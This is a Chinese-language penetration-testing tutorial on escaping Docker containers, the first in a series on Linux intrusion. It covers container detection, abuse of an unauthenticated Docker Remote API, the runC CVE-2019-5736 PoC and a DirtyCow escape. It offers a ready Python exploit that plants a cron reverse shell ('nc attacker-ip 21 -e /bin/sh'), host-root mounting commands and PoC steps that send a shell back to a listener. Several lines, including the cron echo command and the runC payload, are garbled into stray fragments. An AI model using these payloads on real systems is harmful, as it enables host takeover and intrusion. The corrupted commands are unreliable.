Linux内网渗透(一)——容器逃逸
Linux虽然没有域环境，但是当我们拿到一台Linux 系统权限，难道只进行一下提权，捕获一下敏感信息就结束了吗？显然不只是这样的。本系列文章将从
拿到一个Linux shell
开始，介绍Linux内网渗透技术，分为容器逃逸、Linux提权、Linux信息收集、Linux隧道技术、Linux横向移动、Linux权限维持、Linux痕迹清理几个部分。
本文是Linux内网渗透的第一篇文章——
容器逃逸
。
前言
Docker 逃逸在渗透测试中面向的场景大概是这样，渗透拿到shell后，发现主机是docker环境，要进一步渗透，就必须逃逸到“直接宿主机”。甚至还有物理机运行虚拟机，虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。本文记录Docker逃逸相关技术重点、对重要方法进行利用复现。
如何判断当前机器是否为Docker 容器环境
-
Metasploit 中的 checkcontainer 模块、（判断是否为虚拟机，checkvm 模块）
该模块其实进行了如下操作：
-
检查根目录下是否存在
.dockerenv
文件
ls -la
-
检查
/proc/1/cgroup
是否存在含有docker字符串
cat /proc/1/cgroup
-
检查是否存在container环境变量
通过
env
\
PATH
来检查是否有docker相关的环境变量，来进一步判断。
env
env $PATH
-
其他检测方式
如检测mount、fdisk -l列出所有分区 、判断PID 1的进程名等也可用来辅助判断。
Docker逃逸的方法
docker架构图如下，其中对普通用户来说，最为熟悉的就是最外层的docker client和docker daemon，一个是docker命令行工具，另一个是dockerd后台进程。Docker Client通过命令行与Docker Damon通信。containerd则为docker和run的一个沟通
危险的配置导致Docker 逃逸
随着运维人员安全意识和水平的提高，越来越难以直接利用漏洞来进行利用。相反，更多的是利用错误的、危险的配置来进行利用，不仅仅Docker逃逸，其他漏洞也是。
Docker Remote API 未授权访问
漏洞简述：
docker remote api可以执行docker命令，docker守护进程监听在0.0.0.0，可直接调用API来操作docker。
通过docker daemon api 执行docker命令：
#列出容器信息，效果与docker ps一致。
curl http://target>:2375/containers/json
#启动容器
docker -H tcp://target>:2375 ps -a
利用场景：
通过对宿主机端口扫描，发现有2375端口开放，可以执行任意docker命令。我们可以据此，在宿主机上运行一个容器，然后将宿主机的根目录挂载至docker的/mnt目录下，便可以在容器中任意读写宿主机的文件了。我们可以将命令写入crontab配置文件，进行反弹shell。
漏洞利用：
Vulhub提供了该漏洞的复现环境。
利用方法是，我们随意启动一个容器，并将宿主机的/etc目录挂载到容器中，便可以任意读写文件了。我们可以将命令写入crontab配置文件，进行反弹shell。
这里有一个现成的exp:
import docker
client = docker.DockerClient(base_url='http://victim-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
(其他反弹shell的形式也一样)
随便启动一个docker,挂载点设置为服务器的根目录挂载至/mnt目录下。
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
在容器内执行命令，将反弹shell的脚本写入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >*a = 1;return 0;}
gcc test.c
执行之后，即可接收到反弹的shell
程序漏洞导致Docker 逃逸
Shocker 攻击
漏洞描述：从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用open_by_handle_at函数，Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力，而Docker1.0版本对Capability使用黑名单管理策略，并且没有限制CAP_DAC_READ_SEARCH能力，因而引发了容器逃逸的风险。
漏洞影响版本： Docker版本 1.0， 存在于 Docker 1.0 之前的绝大多数版本
（真实环境基本不会存在了）
github项目地址：
gabrtv/shocker: Shocker / Docker Breakout PoC (github.com)
runC容器逃逸漏洞（CVE-2019-5736）
漏洞简述：
Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6，因此允许攻击者重写宿主机上的runc 二进制文件，攻击者可以在宿主机上以root身份执行命令。
利用条件：
Docker版本 18.09.2，runc版本 1.0-rc6，一般情况下，可通过 docker 和docker -version查看当前版本情况。
利用步骤：
1、下载poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
2、修改Payload
vi main.gopayload = "#!/bin/bash \n bash -i >RHOST> RPORT>execute command./cdk run shim-pwn "shell_cmd>"
内核漏洞导致Docker 逃逸
DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸
Docker 与 宿主机共享内核，因此容器需要在存在dirtyCow漏洞的宿主机里
漏洞简述：
Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞，通过它可实现Docker容器逃逸，获得root权限的shell。
漏洞测试：
1、环境准备:
docker与宿主机共享内核，因此我们需要存在dirtyCow漏洞的宿主机镜像。
这里，我们使用ubuntu-14.04.5来复现。
2、测试容器下载并运行：
git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash
3、进入容器，编译POC并执行:
cd /dirtycow-vdso/make./0xdeadbeef 192.168.111.129:1234
4、在192.168.111.129监听本地端口，成功接收到宿主机反弹的shell。
参考
https://xz.aliyun.com/t/8558
https://www.cnblogs.com/xiaozi/p/13423853.html
https://blog.csdn.net/w1590191166/article/details/113089994
https://xz.aliyun.com/t/8681
https://xz.aliyun.com/t/8681
